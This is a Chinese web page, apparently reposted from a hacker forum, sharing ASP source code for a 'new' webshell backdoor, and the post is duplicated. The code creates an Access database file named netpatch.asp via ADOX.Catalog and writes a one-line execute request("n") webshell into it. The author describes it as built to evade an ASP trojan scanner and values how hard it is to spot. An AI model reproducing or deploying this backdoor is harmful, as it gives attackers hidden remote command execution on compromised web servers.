本是为了逃LAKER2兄 查ASP木马程序的
现在已经挑战成功，已经加为检查对象了。公布出代码给冰点的朋友使使，希望大家喜欢！
利用的是ADOX.Catalog组件
复制代码 代码如下:<%
'code by netpatch
dim dbfile,sql
db="netpatch.asp"
dbfile=server.MapPath(db)
set ydb=server.CreateObject("ADOX.Catalog")
ydb.Create "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & dbfile
set ydb=nothing
if err.number=0 then
Response.Write dbfile & " 创建成功<br> "
else
Response.Write "创建失败，原因： " & err.description
Response.End
end if
Set Conn = Server.CreateObject("ADODB.Connection")
Conn.Open "Provider=Microsoft.Jet.OLEDB.4.0; Data Source=" & dbfile
sql="CREATE TABLE fdata([data] Memo)"
conn.execute(sql)
Set rs = CreateObject("ADODB.RecordSet")
rs.Open "FData", conn, 1, 3
rs.addnew
rs("data")="<%execute request(“n”))%>" '(注释记得去掉！一句话后门 execute request(“n”))
rs.update
%> 此脚本主要是利用ADOX.Catalog组件
新建一个名称为netpatch.asp的空数据库文件
然后把一句话木马插入新建的表中作为C/S版本的ASP马用！
优点，比较隐蔽，不容易让人看出这是什么作用的！
现在已经挑战成功，已经加为检查对象了。公布出代码给冰点的朋友使使，希望大家喜欢！
利用的是ADOX.Catalog组件
复制代码 代码如下:<%
'code by netpatch
dim dbfile,sql
db="netpatch.asp"
dbfile=server.MapPath(db)
set ydb=server.CreateObject("ADOX.Catalog")
ydb.Create "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & dbfile
set ydb=nothing
if err.number=0 then
Response.Write dbfile & " 创建成功<br> "
else
Response.Write "创建失败，原因： " & err.description
Response.End
end if
Set Conn = Server.CreateObject("ADODB.Connection")
Conn.Open "Provider=Microsoft.Jet.OLEDB.4.0; Data Source=" & dbfile
sql="CREATE TABLE fdata([data] Memo)"
conn.execute(sql)
Set rs = CreateObject("ADODB.RecordSet")
rs.Open "FData", conn, 1, 3
rs.addnew
rs("data")="<%execute request(“n”))%>" '(注释记得去掉！一句话后门 execute request(“n”))
rs.update
%> 此脚本主要是利用ADOX.Catalog组件
新建一个名称为netpatch.asp的空数据库文件
然后把一句话木马插入新建的表中作为C/S版本的ASP马用！
优点，比较隐蔽，不容易让人看出这是什么作用的！
标签：
新型ASP后门源代码分析
免责声明：本站文章均来自网站采集或用户投稿，网站不提供任何软件下载或自行开发的软件！
如有用户或公司发现本站内容信息存在侵权行为，请邮件告知！ 858582#qq.com
桃源资源网 Design By www.nqtax.com
暂无“新型ASP后门源代码分析”评论...